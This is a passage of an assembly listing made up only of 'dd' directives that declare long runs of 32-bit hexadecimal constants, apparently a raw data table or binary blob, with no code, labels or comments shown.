		dd 8814634Ch, 89C0E0D0h, 11D31B5Bh, 83FC4B00h, 0E594780h
		dd 5C38D9D1h, 18214E8Ch, 80FB6A3Eh, 0C70C2DC3h,	1539E282h
		dd 0C02402E3h, 19CB0D2Ch, 0D0B23059h, 8CA6AD47h, 13991404h
		dd 0F962E277h, 99EC8F20h, 0F61B06A5h, 19D5AFE2h, 9A33AB00h
		dd 999BF3CAh, 40740247h, 1A28B039h, 886C3487h, 62991160h
		dd 0C0DA5376h, 99E99080h, 0B00146DEh, 0C96A0662h, 9850BAE6h
		dd 0F6604E87h, 2D47175Ah, 4D130042h, 1D35C038h,	0BAB71205h
		dd 0D440D961h, 11105FFCh, 0EF5E0393h, 0F08E5B1Dh, 210002A3h
		dd 59108A1Ah, 22EB89Eh,	0D53AC69Ah, 0F422019Dh,	99F4A0C7h
		dd 76954F91h, 0BB6100A7h, 0C38258FFh, 0A51F634Eh, 7CD908h
		dd 905364C4h, 4B543Ch, 0CFB27589h, 0A013D670h, 0ABDDB01h
		dd 9EF33779h, 4E315981h, 70CCE42Dh, 2200C02Bh, 91D529CFh
		dd 1F0D7569h, 451F2801h, 221B6EB0h, 0DCB045A8h,	153E98B6h
		dd 0A897A977h, 990E8960h, 0CA2600D9h, 20C60A64h, 0D106AAB2h
		dd 5B9BC26Fh, 15D03B29h, 7192A300h, 0C6E3CBF0h,	0CC13D5FAh
		dd 2002EC4Bh, 4C8ADCE1h, 0FC480248h, 5C1F8082h,	0DB105319h
		dd 2009FB69h, 0F730CAABh, 0E3ED9E01h, 0F47BE049h, 0CBA1A900h
		dd 87040E5Bh, 277EC48h,	11A62827h, 0E4B1B6B7h, 9315E813h
		dd 91ECFE21h, 5E7600DFh, 0CE60EA10h, 4272D5h, 0A714B8FAh
		dd 0D8F792Bh, 3D0494EEh, 0EBD034BEh, 88228D8h, 8452415Ah
		dd 321A2C6h, 555ABD7Ah,	94E090FFh, 0FD000F34h, 0DF886BA1h
		dd 292159A2h, 59581211h, 311820h, 0DF37C81Eh, 595CD9ACh
		dd 0CB18B176h, 8328DA02h, 0F8512E9Dh, 0F3920E44h, 2D373B20h
		dd 0F6000DFDh, 5216FA08h, 3A3C35B8h, 43A4E68Ah,	45314794h
		dd 0E77420E8h, 5221425Ah, 0BE79C0BCh, 6100D85Ah, 8ED566A8h
		dd 18738Bh, 0AA88F20Ch,	0F3E70151h, 5CCC49h, 0B81A6F3Eh
		dd 9A93Fh, 945D6159h, 0E7BCC3AEh, 93B5250Ah, 0B911E4A8h
		dd 0B842188Fh, 1313692h, 0D8437512h, 0DC6AFDF1h, 7101F637h
		dd 0C63A4BF4h, 9C239496h, 403C5C03h, 30B74C8Ah,	5D12A111h
		dd 0A5503400h, 0C54E7A2Bh, 28FB76DDh, 46D09154h, 106402BDh
		dd 1C169314h, 108B1907h, 3C30CE2Eh, 7DFAF9h, 3A82F657h
		dd 0F7E5F406h, 7727CD06h, 2490D36Dh, 4F8C46C6h,	0E7E2A581h
		dd 2688F1E3h, 0FB620298h, 674F80E8h, 6B1907E0h,	891E9FBh
		dd 36F040EAh, 3F025C14h, 177726DDh, 53700CFh, 0FF78B1FEh
		dd 874614B0h, 0E9FB6302h, 0CC473780h, 0FB6C1600h, 1BF540h
		dd 0FE8ACC39h, 0D31524Eh, 8CB4F26h, 0EAD8A680h,	499A7224h
		dd 5C022CBCh, 0DB524BC5h, 5D4650C4h, 0BFFB1D02h, 3C946780h
		dd 0FC3F46E6h, 47A981C9h, 499D8821h, 20926881h,	0EF773F35h
		dd 0B5F763D0h, 0AC6491h, 0D521215Ch, 9FA2A480h,	77C9CCD7h
		dd 0CFF5001Ah, 0F71F72A7h, 0B0B14358h, 3AD668A4h, 7C0313B5h
		dd 0BB8B2CD3h, 182A282Ch, 740CF44h, 357C1676h, 43EF1B05h
		dd 0C883A6AAh, 0A0B2FA61h, 89C583A0h, 3B90004Eh, 423CD167h
		dd 9707D462h, 0B151309Dh, 9AC3B637h, 64615038h,	16398CBFh
		dd 26931211h, 37A838h, 8C4C105Dh, 1FBCBA84h, 27D4A206h
		dd 18A9D193h, 0E11D50C6h, 557D6B70h, 4BF52405h,	4846FA8h
		dd 3C44BC53h, 1030B06Bh, 76105F99h, 0C7C898C2h,	99E89380h
		dd 3A3E45h, 18D17E60h, 0C1AD860Eh, 67E90D48h, 6AF05329h
		dd 0FA5E5Bh, 0B348D849h, 841E0BAEh, 0E7A37612h,	0E3510800h
		dd 0B1A0A2h, 0FE83F3CFh, 814C6CDh, 91C03700h, 1374F6BBh
		dd 0E43F008Eh, 7E525FA7h, 3D00B1B3h, 8C48CA12h,	96871Fh
		dd 33E10DA2h, 7DD0C088h, 865FE200h, 0E04A6B29h,	403660E6h
		dd 0F4FEEB41h, 1D0FD278h, 0C30C488Bh, 0A8342327h, 1F4F2CE1h
		dd 0BC449041h, 24840581h, 10D6C248h, 1F7E7765h,	4083C058h
		dd 797FF206h, 0E3078792h, 22B6BD69h, 1130F8A7h,	0C18C7Ah
		dd 595FB4EEh, 58B84BBFh, 0E2DA3F05h, 3AC06724h,	0FADEEA4Ah
		dd 57D830E0h, 965E1EC0h, 400D6E30h, 0F6752Ch, 83095CB9h
		dd 0EC6D644Bh, 80DC0F72h, 807D5201h, 0C09FDD49h, 87A7DDC1h
		dd 0D02D09B6h, 73E9C30Bh, 0E77520h, 6DAFD2E5h, 0F7F8C415h
		dd 62EEFD90h, 0CFA23A0Ch, 448106h, 5BD318C5h, 97EBC7A9h
		dd 0E4E71C1Ch, 6FECBA41h, 23D0116Dh, 0DEC6008Bh, 9686F794h
		dd 9D014BB7h, 14F6F1FFh, 0C9C44C4Eh, 636E00B4h,	0A6A7366Ah
		dd 0C000232Fh, 4E3E79E2h, 177853Ch, 0AE484BF8h,	0CC5032E3h
		dd 0C008DA0h, 8C7B19DEh, 7772482h, 38553335h, 1097208Bh
		dd 0BE00482Dh, 0B5205EFh, 1DA1BAF9h, 80CFA692h,	454B39C1h
		dd 3100116Bh, 0EADF5966h, 95DBCCh, 12F01763h, 1F97CF90h
		dd 0A720AE00h, 0DBB1F20Eh, 24EE00B6h, 909BCDC9h, 0B5E87AF5h
		dd 9F8D7403h, 0E0F90132h, 30FAF1E6h, 8140C896h,	387510D0h
		dd 0F2099500h, 65C94B03h, 0DEB90051h, 88CC74B0h, 0D700D097h
		dd 9DAB5F83h, 49E96A93h, 2B0B20BEh, 801819ECh, 0FEF29F61h
		dd 3AF6FC00h, 7067BA5Bh, 2D8D3BA8h, 0F199C180h,	47C479D4h
		dd 31DEE212h, 0FF23E03Ah, 35BBE400h, 26F7B259h,	802C0D60h
		dd 0AA635A03h, 0D91692DAh, 1100DD87h, 0E97DEACFh, 0C59B0082h
		dd 0F3598F9Eh, 95020250h, 128DD1CBh, 1008733Ah,	0FEB124A1h
		dd 6C403313h, 0FDFE7681h, 0FC905Fh, 0B2A83043h,	61E957CFh
		dd 319AEB27h, 4B024E4Ch, 0D37E209Ch, 5B0F008Ch,	544E83B4h
		dd 0D4B0821Ah, 64035E46h, 3F80BEFBh, 205132DCh,	4EFC45BFh
		dd 70419E00h, 0F978CC11h, 8FE0932h, 0A8908B21h,	5828F356h
		dd 2F07A8D4h, 0CBEF974Fh, 84998290h, 8EDE00A1h,	0F31D35FAh
		dd 31030A3Ch, 5A0832BDh, 0AE2821F0h, 2821C23Dh,	919F4010h
		dd 10B8089Ah, 0D640834h, 903F6B88h, 0FA984E6h, 0C8809048h
		dd 13AFDC37h, 0E5820043h, 38931EF0h, 3D00D4ACh,	0E648758Dh
		dd 3BCF8C5h, 121AD2CBh,	0F6D077B1h, 7F07223Fh, 79EE28B3h
		dd 77D8FA0h, 3DA92C2Eh,	30003A56h, 6947C70Dh, 733B7045h
		dd 0DDBC00E9h, 240AC866h, 760207B7h, 0C06CD4E1h, 0FB80AEF6h
		dd 1BBA038h, 0C76023BFh
		dd 2E0878Fh, 0D9E082h, 47DBB9ACh, 41AE302Ah, 8DA0F5F6h
		dd 0D3095B18h, 0C01E7A1Ch, 3223774h, 660247E1h,	0E89081D6h
		dd 453E517Bh, 7C506A73h, 32BA4000h, 686104h, 0AF285506h
		dd 6B4D75AAh, 93183463h, 0CEBFD0F3h, 7A811D6Ah,	50F42AA4h
		dd 0CD82D3h, 9B6CD2A3h,	1560129Eh, 0D9142F00h, 0EB8F8ABCh
		dd 92AF00E9h, 487BFBF2h, 0EA3C43B0h, 8790746h, 3660167Ah
		dd 0E749D1h, 0BF9D6122h, 3D42ADE9h, 12D9E203h, 897F0EAh
		dd 5EAA46A8h, 7F501F00h, 1FEB0DAh, 1C89E0Eh, 4748BA55h
		dd 2BA2809Ch, 0B50EAB14h, 0C0F1EBC2h, 0B03126A4h, 0EB30092h
		dd 0D26D1530h, 0B10039D7h, 0B5BB6C6Fh, 0A61972h, 368DBC96h
		dd 1326F88Fh, 0EB014B00h, 1F0A160Bh, 1AA000CEh,	0B9B08BFCh
		dd 0F107E4B3h, 0AD8D69EFh, 3DC6C180h, 0BBC9003Fh, 0CE9AC73Ah
		dd 801CAF3Eh, 3820267Dh, 0AD0ED489h, 65E0FA76h,	4291D01h
		dd 1E6AF300h, 559A8810h, 84563BC5h, 1BA74780h, 0E6299449h
		dd 60B8DC00h, 25BD72D3h, 7F2B005Fh, 38A91FD5h, 8EFA4682h
		dd 0E7EE0A00h, 1C09CE18h, 25BC24F2h, 4F565004h,	8916C500h
		dd 1A93E9ACh, 59E10046h, 2E0271ABh, 40044B9h, 0C54BFF41h
		dd 3C56805Fh, 0C087B08Ch, 0C4CC14E0h, 2F388153h, 0FA00FA57h
		dd 1854A97h, 7AAEC240h,	0F85A6094h, 8424F00Eh, 0E400A8A9h
		dd 0C53ACF80h, 636B1FA8h, 82414h, 7753FCACh, 10C07D2Ch
		dd 2B56B42Ah, 0FDAE3D3Dh, 3B63A80h, 8C15C83h, 7C47AA01h
		dd 0ACB326DFh, 752FCh, 3631600Fh, 37D3B8BDh, 25CB9800h
		dd 2A3C6351h, 0F2C50380h, 0E05EA9C9h, 79CEAF90h, 40EEB70Eh
		dd 0C889B8h, 0BCA4DF1Ch, 3F070E28h, 19CF9F0Dh, 39085240h
		dd 80A06136h, 583EC8D0h, 0CC097AEEh, 0E36910BDh, 9231B044h
		dd 2401009Dh, 4B28E7BEh, 45002561h, 0FD57C25Eh,	7AE2F988h
		dd 1BC7880h, 0F19437CCh, 41391C6h, 0A14F8400h, 744BBh
		dd 5A836564h, 31F5F077h, 807E3B3Ch, 811AC4EBh, 12BC5102h
		dd 1FF72Bh, 0F55DC54Ch,	9B00607Ch, 0CC588882h, 4C284Eh
		dd 1B4013DEh, 0AC273FBFh, 0B8216738h, 9AA4505Fh, 0D42DCC00h
		dd 449226Ah, 4016004Dh,	3F230A74h, 0E326F0C3h, 0B78F5C6Dh
		dd 0FCDDA1ABh, 4BE84986h, 91C101D3h, 15CEA060h,	84A7F497h
		dd 0DF1A8B01h, 82E3CAF0h, 0F4413820h, 113F3CCBh, 350893h
		dd 6248532Ch, 0E9097E34h, 805FE7ACh, 49899168h,	3DA101B7h
		dd 16841CD4h, 236901FFh, 9405A08h, 0F49A98B2h, 881B0ECEh
		dd 7B807313h, 55DB36Fh,	0C8213Dh, 84B0F4EBh, 4A681645h
		dd 24D400C7h, 3BD19CD2h, 830FCB00h, 77F1D9A4h, 0FDDF002Fh
		dd 32F4A230h, 3312E4ABh, 1000806Ch, 0A3C2148Fh,	0FDF80B51h
		dd 0D1804C82h, 0FF09E250h, 4270A2Ch, 84145A02h,	7B78C08Eh
		dd 2E361DE0h, 0AE2D807Fh, 16A9DFCDh, 8E830E00h,	0F99EFE37h
		dd 295C01EFh, 0F60FB596h, 0BEA080CCh, 0C52655B6h, 0CD7A0542h
		dd 406214C4h, 337888C4h, 0B960F550h, 82AD9998h,	0E1E430h
		dd 0AA762C6Eh, 18A15004h, 0F6F3DE00h, 22FC85B9h, 0B40600A7h
		dd 4AB1DF37h, 1D079E43h, 9DB88C68h, 0BC293520h,	0BECD07A4h
		dd 2075F75Dh, 4209AAA0h, 802AB238h, 9AE3871Fh, 0E8AC2190h
		dd 0D9EC003Fh, 38D1269h, 9403320Bh, 260573ABh, 0F5C812F8h
		dd 345040E7h, 8A9B55F2h, 1138C201h, 0CB22AE5Bh,	6A97FCh
		dd 0FC7A154Bh, 1765FDEAh, 0F2D33600h, 0DB1E106Eh, 59CF1422h
		dd 0A000ECC3h, 3784E2ECh, 2E037E5Bh, 8B8E7319h,	0CD41E00Eh
		dd 0E1C80007h, 5727FBABh, 0B3005FF6h, 47B24F83h, 0F4A08842h
		dd 67A7019Eh, 3ABE3F7Ch, 8FB8EBD0h, 0FD00C1C9h,	756C516Fh
		dd 7AC94E2h, 1F901466h,	6755004Ah, 820145A3h, 0F73A51Bh
		dd 18804C08h, 0F928C449h, 8E000BB5h, 950AB60Ch,	5CF8794h
		dd 701758B4h, 90A0C7D8h, 427B2140h, 0A1254A30h,	1D6AC1E4h
		dd 0C02B0496h, 0D0BFEABBh, 6237BEDEh, 0E2F1603Fh, 8858CF8Eh
		dd 28A00CB8h, 2398FFAAh, 0DDF1D8FDh, 0F7546900h, 9F980EDCh
		dd 0D64B0006h, 0C081773h, 0B8009503h, 20E94664h, 580535h
		dd 16389C5Ch, 0A01C9FABh, 7807DBE8h, 0A5E7F4B4h, 47DDE1D0h
		dd 0ECE301B8h, 0E6623A98h, 0D84DC4A8h, 632CEB00h, 161CD545h
		dd 0F7A6004Bh, 143F51B2h, 8100C54Eh, 0B5F66F91h, 355C97h
		dd 0BC895E4Ah, 562D2A71h, 0EDAEA00h, 6FDFD7A8h,	0AB170038h
		dd 46E02195h, 0AD018E18h, 3D9A5DD2h, 0DAE47588h, 3A1703CEh
		dd 0CAD09950h, 0B25672E0h, 2A2F260Eh, 9145A05Eh, 0A07E94ECh
		dd 60AA1B9Ch, 84DD9CCh,	2D5CF49Eh, 0B2057AEBh, 62EE7D98h
		dd 0A49A2EC0h, 0BDAA038Ch, 9728774Ah, 939C1EC0h, 3A852113h
		dd 9580400h, 39163F43h,	26808175h, 0D5314BEAh, 2E00DA92h
		dd 0CD9A03D4h, 108D0Dh,	0F13B7F8Ch, 77B29E23h, 6BED5F00h
		dd 6935B167h, 0FE8F0220h, 11A61CBDh, 0F5B46060h, 18FDE900h
		dd 49DA0398h, 0DD58285Fh, 30CA24E4h, 8AC40274h,	9360EE95h
		dd 0FC00BEFAh, 110ECBC2h, 65EA7Eh, 2CA3B5AEh, 9031E6EDh
		dd 3EB22B1Ch, 586C8140h, 528ADEh, 17862CA4h, 5A113D9Bh
		dd 2A338900h, 7DC8BF54h, 0E7C30E37h, 1640906Dh,	29A5BD57h
		dd 45518400h, 79AC2C2Ah, 0A94A39A2h, 3456C380h,	64291A9Fh
		dd 2BE38503h, 0C8E28867h, 1CF1A940h, 0C77627ADh, 112D8174h
		dd 0F418F82Fh, 7800A7EEh, 0C9B85914h, 0A60DB7h,	0A86AD854h
		dd 7EBC095Ch, 472CA103h, 88E0ED40h, 0E5DA9Fh, 0F57FD862h
		dd 7A5F0DA3h, 0D2D95702h, 82DF474Fh, 731BC94h, 0AC1CB38Eh
		dd 0DCED780Eh, 6A2E20BAh, 257FBEh, 46683DA3h, 2BC1F11Ah
		dd 5F518100h, 10CA8FFDh, 0F08E50E9h, 1DE00635h,	108C05B4h
		dd 0A03A7D00h, 87F0984Bh, 83710013h, 45EFB982h,	62076A77h
		dd 1E1DCAEEh, 15934020h, 569200DBh, 196C8361h, 0E300CCB7h
		dd 0F0ED6D84h, 1E1135F2h, 0C598D12Bh, 153E29h, 0C58F80FCh
		dd 62040E39h, 87C621AFh, 28CE7890h, 2701C1Ah, 9AF0808Eh
		dd 251585F2h, 0A120DA00h, 9855685Fh, 89541F45h,	3388577h
		dd 0E18280C4h, 0D1293F84h, 351F90B6h, 0EBE47041h, 36D41DF1h
		dd 18C51CA0h, 8A4FCF33h, 8A80E889h, 0BC66FD0Bh,	9C9F5400h
		dd 5E5ACDFAh, 38F7023Ah, 0D607EA48h, 70995C40h,	3855D40h
		dd 556F8764h, 7BAAA57h,	0BE7FC4A0h, 0E607C0DEh,	466C670Ch
		dd 0E059F132h, 1F18AEE1h, 260339CDh, 71F1315h, 0C06F980Ch
		dd 316B10ADh, 240DF4Ch,	0EE48FFB4h, 5810402Eh, 6FE60052h
		dd 616DE88Bh, 2A14C233h, 16C83603h, 0EE0E05ABh,	186838F2h
		dd 249A385Ah, 810EAA0h,	5B3FDCCCh, 0F266AA00h, 89C3F305h
		dd 9D000679h, 0EEAEE1B0h, 1D6D22CBh, 0A4AAE7h, 614E2162h
		dd 0BD0F98EDh, 0B23E7ACAh, 1E86BC00h, 0FA5C8FAh, 207FB6D2h
		dd 56450FA0h, 306D3E7h,	0D761C7Eh, 49447F1Ah, 9400DC10h
		dd 18E5FB38h, 600162Bh,	0B59F35A6h, 0C73E66h, 99D222B7h
		dd 3BAF825Fh, 15F31B18h, 1E503B8h, 475BF2Bh, 0BF176AF0h
		dd 580F00F8h, 0D571BA8h, 609CA0E4h, 4C3EC09h, 8D182D28h
		dd 2193C0C8h, 0FB00CF88h, 42B29A0Eh, 2856E475h,	1C005F6h
		dd 1362297Ch, 0DC630DE5h, 0A60FD120h, 388901Dh,	0E03F6DAAh
		dd 87150Ah, 5D363D28h, 35C77F34h, 2AB04200h, 0A861239Dh
		dd 91F60093h, 0FF85E122h, 0F33A4EF2h, 669E005Ah, 9C3169CEh
		dd 5B560084h, 1DD22F9Ah
		dd 0FF033B06h, 38991798h, 0B9FCA82Ch, 5C250747h, 0E0110F32h
		dd 6F08B0F3h, 0B600F57Ch, 0BE3EE43h, 10E6C4Ch, 0C314FE5Dh
		dd 209B2A3Dh, 6407094Ch, 0A8DC6A3Eh, 0EB08A463h, 82A78089h
		dd 956F04Dh, 0AE24AF55h, 9B74E580h, 8807402Ah, 6320ADB5h
		dd 0F0CF8FC3h, 28305877h, 0C00FE2h, 5C34D842h, 530BE614h
		dd 83E7172Eh, 52A0B200h, 1E029765h, 26DECD11h, 0B16B00C7h
		dd 18A63F46h, 0B0002090h, 0CAD897C7h, 3A81457h,	0D7D950A9h
		dd 0BBD88387h, 0F60F8BFCh, 40730A84h, 88E61257h, 68AB1CDBh
		dd 52E381F4h, 0F1C5F0BFh, 3C647009h, 0C8649400h, 1210549Fh
		dd 4EA1028Ch, 0BF99D9D1h, 74B88B8Ch, 0ECD85C1Dh, 0D5433140h
		dd 0EA2FD47Ch, 0BB9E004Dh, 0A24FE5EEh, 0DE0065B6h, 580491E7h
		dd 1F93CB71h, 0C0A11DA3h, 19D6C8DDh, 0FE092FC6h, 81126BA9h
		dd 6A448334h, 202434h, 0AA044797h, 0A450F725h, 0DADF0C09h
		dd 0C5B08076h, 751E3BB6h, 0FDF249h, 0FA368E19h,	0E93A72DCh
		dd 75003E74h, 0BD68F74Ch, 33F8618h, 2AE83B70h, 0CAA3484Fh
		dd 8CEF9AC8h, 6D4D0800h, 1A16A3E9h, 0B87507D6h,	71BC6827h
		dd 0C1AAE26Fh, 38E4303Fh, 0F3A20900h, 20524D1Dh, 0C9CC0061h
		dd 9AE397EAh, 0EB24AF07h, 5B077C2Ah, 0A03999EFh, 1A9CEE60h
		dd 84BACCh, 0D202AD27h,	0B0F59250h, 289D6F00h, 0AB39AA9Bh
		dd 8B6304A4h, 0D044E125h, 975F7A5Ch, 0F4CECC1Ch, 5E994E00h
		dd 0F8604849h, 0D960C0A7h, 954D6B47h, 9C5C7E24h, 0F84FBA00h
		dd 0DB713Ch, 45CE4E84h,	0C8D3D797h, 0CA16B8FEh,	0EC006DE5h
		dd 55596FC9h, 0D9D612C3h, 1E540098h, 15CE5272h,	90048490h
		dd 0F9227D1Ah, 0A22A7480h, 4CB5E6CDh, 3D0024DBh, 1EEC7B89h
		dd 8B002B29h, 5A55BAADh, 589BF1h, 84ACB974h, 7BE85678h
		dd 439EF000h, 1E87ECE9h, 2BE02407h, 78C97A0h, 0D316E402h
		dd 0BAC1F30Bh, 7A3E0A1h, 0F87148h, 3BFA53Fh, 52CBC3h, 0B04FAC6Ch
		dd 0DEB7AEE5h, 172AF02h, 404DBF41h, 402D20B4h, 85D20Eh
		dd 86E98ACEh, 6D49DA87h, 0B0E10184h, 0B9259EBBh, 0B2EC70h
		dd 48D33BF4h, 14A3D1E7h, 0CD009098h, 2C4299C8h,	90419C6h
		dd 0C21CB434h, 0BB1FC801h, 7FEAD84Eh, 25375B00h, 6509D64Bh
		dd 0ACC9A055h, 0FD300068h, 3490E998h, 4C3D1167h, 0F8B88009h
		dd 9A72AEEFh, 63383A51h, 1D009F48h, 793AE589h, 76E20885h
		dd 219EC500h, 0A0C6E0A9h, 0FC7E0059h, 0E5B8D5BCh, 1000DFABh
		dd 880E435Fh, 3CB9AEh, 0E0EE35DDh, 0D436B205h, 0E685C4Ch
		dd 45A4F26Bh, 0CCC0593Dh, 0FA7A0Eh, 85885EFCh, 2EF99AC9h
		dd 0FB1C612Eh, 623D4900h, 2828901Ah, 9048CCh, 0AE6CB2D9h
		dd 2FC7F843h, 5B5E0400h, 5530AC5Ch, 519FE6D8h, 5047CE1Eh
		dd 0E83CC7D0h, 4F9A02ADh, 3521D033h, 0E0019CE9h, 7E2742Ah
		dd 0C87EED3Dh, 3CE11E60h, 3EA3CC84h, 0C8A4DCC4h, 0F95100C9h
		dd 6EAC1650h, 0D500F110h, 171E7E45h, 4A604E44h,	337C002Dh
		dd 5EA8EC1Bh, 7FF64A73h, 0D7FDAB0h, 0DE07847Ah,	8C406491h
		dd 1546B810h, 3F287AE6h, 5687BFB9h, 72D9AE8Ah, 0FC801A89h
		dd 4ABA928Bh, 88067700h, 32153FEDh, 167E161Fh, 0FE080030h
		dd 0D519E348h, 70B57604h, 72877F28h, 41831500h,	5B7145h
		dd 0DA8B2050h, 0CC8CD73Ch, 58D93E00h, 0F13578F6h, 629FEC4Ah
		dd 53B14849h, 161CB4C0h, 364DE0Eh, 0E08FC00Dh, 0B98C4Bh
		dd 5FEC28BEh, 11BDC042h, 0BCF91760h, 709076h, 1CE2AF6Bh
		dd 0E831A154h, 0FF1D2300h, 964A6DD5h, 0FACD383Bh, 0C1129CCCh
		dd 3F9004D2h, 17A8C024h, 520EFC5Bh, 124533A5h, 9EF64700h
		dd 2FDC1Dh, 0BC510DA2h,	0B3D8DB59h, 0BDD3C400h,	17AC417Ch
		dd 2D7D0026h, 879DE0D0h, 0D4023D76h, 0A02EDD7Bh, 0C44650h
		dd 0C0B1370Fh, 9D4D7D16h, 73A27000h, 30DCE5A5h,	5772001Bh
		dd 0E2F57EB6h, 0F41C6127h, 1A003D71h, 6DEBA593h, 192B0E01h
		dd 4F60D29Ah, 9597FD4Ah, 8BF7F901h, 59DA3DC9h, 1B7BDCh
		dd 482AE423h, 7D289187h, 0D6631701h, 0BCE0CBAAh, 3F7443CCh
		dd 7F7BF680h, 0C3350045h, 0C5347075h, 8E58E877h, 49400048h
		dd 68F927D6h, 8F120586h, 0C196EEC6h, 0CC09CB79h, 0BC04F755h
		dd 465AD890h, 0B70EB480h, 1AF7572h, 213B670Ah, 0E88BC5F3h
		dd 7B07296Ch, 8C10E77Ch, 7F52584Eh, 8B33038Ah, 90178E13h
		dd 9536A0F7h, 35508C0Dh, 2707EA0Ch, 237A3CB5h, 0A8ABB240h
		dd 284B78h, 865D0364h, 0F1076A5Ch, 7C48C433h, 98E03EA4h
		dd 32078C3h, 5A89C262h,	0A90B5DD5h, 0A0F1301Bh,	7F2A714Ch
		dd 227400BFh, 0F924A27Ch, 0A103CF11h, 789B29E7h, 0F5A60005h
		dd 308451D8h, 0D60382B5h, 0C09E07F0h, 786860DBh, 0DC475C8Eh
		dd 908499C1h, 1C6427A4h, 2E99004Ch, 937FF71Ah, 0C400E107h
		dd 5BCB5A8Fh, 0DB4304h,	6295FFB6h, 84552F61h, 48123130h
		dd 0C7FDAh, 9C8F3B48h, 8EF9D027h, 2DD83D00h, 0D19505CCh
		dd 374F01B1h, 1F065FEAh, 2B48080h, 0AC8E7D4Bh, 0B56700BCh
		dd 500BD9F3h, 32008C3Ch, 863D6651h, 0C6DEE2Fh, 13D09A9Bh
		dd 0F8002E71h, 0F4A93847h, 668DDC48h, 2122D81Ch, 46505701h
		dd 29C00AB4h, 37A2E184h, 75DF809Fh, 0DE01E38Dh,	32211D1h
		dd 0BC4885ACh, 1F9E3B38h, 7C98C280h, 7FE71B0Fh,	21C091E8h
		dd 11EB55Ah, 62090FC2h,	92A0C0D8h, 4AC35FF7h, 6A16A4A8h
		dd 0EE624277h, 0C931D20h, 140C9841h, 205C6941h,	588F3A80h
		dd 6E5FF801h, 847E3A1Eh, 0C059EF19h, 0FF1C8300h, 0D91D0325h
		dd 0D340DBA1h, 0D444C511h, 2ECD0082h, 86C4EC0Dh, 0A813BE42h
		dd 3BBC5168h, 0A307DD3Bh, 81DE48F8h, 0CC7D643Fh, 0BC0083D9h
		dd 0E0A08F11h, 24A163h,	127A34BFh, 9BA29FDAh, 0BACA0217h
		dd 81FCF7C0h, 377100FDh, 433E55A0h, 0D10078E1h,	9D75F18Ah
		dd 19CAB1Dh, 58E0C5EDh,	30F35552h, 1703A4B3h, 0DC6DC64h
		dd 7AE3D03Ch, 6598002Bh, 1A416D83h, 0FB00B444h,	93C5ECABh
		dd 75A3442h, 9022461Bh,	0BF0DA0A6h, 193E5643h, 0F5F005Bh
		dd 8DC6F63Ch, 0A0750059h, 90AE91CEh, 770FFD55h,	232EF794h
		dd 404725h, 2390D28h, 7482717Fh, 52E98400h, 0BD67E1DFh
		dd 44E800E3h, 0D6C7540h, 210FCC55h, 0C07A708Fh,	47869A7Eh
		dd 4D10154h, 0C8BE310h,	0D9F6F0B0h, 0FD99481Ch,	0DA006F9Fh
		dd 0BBACEB0Dh, 7EE7CF2h, 6391F54Eh, 0E0A18722h,	0B8B308A5h
		dd 0A957D8C0h, 86A2BCh,	96D4D70Bh, 0FE1ED1EFh, 6BE9E00Fh
		dd 141FA05Fh, 0AD3975h,	0D66F9023h, 0FF50130h, 1C8B8C1Dh
		dd 0F0369180h, 75D2FC16h, 0E7270063h, 9434B40Ah, 0C300C655h
		dd 0F14A0F3Bh, 0FE89B3h, 1EC429BDh, 0F45B5CC0h,	0A3666703h
		dd 90467232h, 3D589596h, 0A500031Bh, 5BECCEB2h,	4013375h
		dd 6910E0Dh, 98108F2h, 0F12D9F27h, 0DC1A718Ah, 9500FD03h
		dd 0D43E7F60h, 0E6E55D8Bh, 34971C63h, 20DF4045h, 3644CDB1h
		dd 0A0515F03h, 0A0D7E637h, 2EAD8829h, 4265F8h, 16539A22h
		dd 55776FD1h, 3903D51Ch, 8008D39Bh, 0E77B5604h,	5F2CF4h
		dd 303D2888h, 9BCEBE7h,	61395CF2h, 4F90E021h, 5646FAh
		dd 0B13C0A53h, 0D77243C9h, 0CBC47600h, 0B8C24F06h, 0C072F1h
		dd 8B14B026h, 0FE9A312Ch, 5AD4680Ah, 3400CCA2h,	42D33BD5h
		dd 0F3B12858h, 542E269Ch, 4E1D0066h, 0F5E12105h, 784918C0h
		dd 3891B686h, 77DC89h, 0FCA357B8h, 6E5551CCh, 5816DE30h
		dd 467BD8h
		dd 0A9A83D7h, 0ED499D95h, 0CE00AF98h, 94D31F09h, 1A355A6h
		dd 0B5AF40E4h, 47F76668h, 4720B1F2h, 0FE95400Ch, 8000BE0Bh
		dd 5940ECD6h, 77ADEBAh,	41891C03h, 0EDB880F5h, 0EB0AA19Ah
		dd 4A2D487h, 0CD851007h, 0D16AECC1h, 3C1FD0h, 270BFA61h
		dd 95F49978h, 810018E8h, 0F1F8912Fh, 22020Eh, 0DFFE2CD8h
		dd 84C280C6h, 8C5BEB00h, 8B5C9075h, 0ACBB39A9h,	4FF3E680h
		dd 95BE7039h, 0D28221Ch, 5D5AF400h, 74675B6Eh, 0CB4328FAh
		dd 98E76088h, 0BC5618C0h, 50702A24h, 5ED9D884h,	902B1883h
		dd 0B8FE0Fh, 0EEFB8F22h, 82F08584h, 33E61600h, 25BE616Fh
		dd 40CB01B6h, 0AE5249D9h, 99588065h, 0A61A8927h, 78881D16h
		dd 0CAAA420Bh, 86604ED9h, 68005E62h, 28D15609h,	1FECA0E5h
		dd 873C9D14h, 307E0D9Eh, 0FF7DFA4Bh, 0E736EA09h, 0CC2200F2h
		dd 169DE64h, 136C8F40h,	7079233Bh, 8E01EE89h, 0AE363CC9h
		dd 5A307385h, 1F570F83h, 236075B3h, 0DD9A8931h,	0F2D2CA03h
		dd 0A0F5A3E1h, 1CCB7D59h, 40532E8Ah, 1DEF93F7h,	2000BC54h
		dd 0F8FC35A9h, 17E2BB91h, 0B61088h, 49E57B81h, 24006C79h
		dd 0DAAD41B4h, 0CB8675h, 6A811199h, 0D3BE6D5Dh,	0F035E700h
		dd 5033BF36h, 30F23AF1h, 5E99F381h, 0D8623EC6h,	0E00EB839h
		dd 60C38B0Fh, 0A2EAB758h, 0EC461B97h, 0B5B0D8F5h, 6A0FCF99h
		dd 40E7FC36h, 94472187h, 75E2005Eh, 0EDA949F3h,	1C03293Ah
		dd 5838FCFBh, 0B0F6A3AEh, 70C28D8h, 0A2E12AFDh,	0CD0D0080h
		dd 1A005278h, 0D1771B07h, 38E3815Fh, 0FC30EE71h, 854B3020h
		dd 0B5F04803h, 0A87424AAh, 0E1197Dh, 0D769085Ch, 0A4C471C7h
		dd 0C9815700h, 217996Dh, 0F9E950E8h, 75CC0529h,	0F942BFh
		dd 0F0DA14E0h, 0E00E6098h, 6129ABCEh, 0F146A3E9h, 30D554F4h
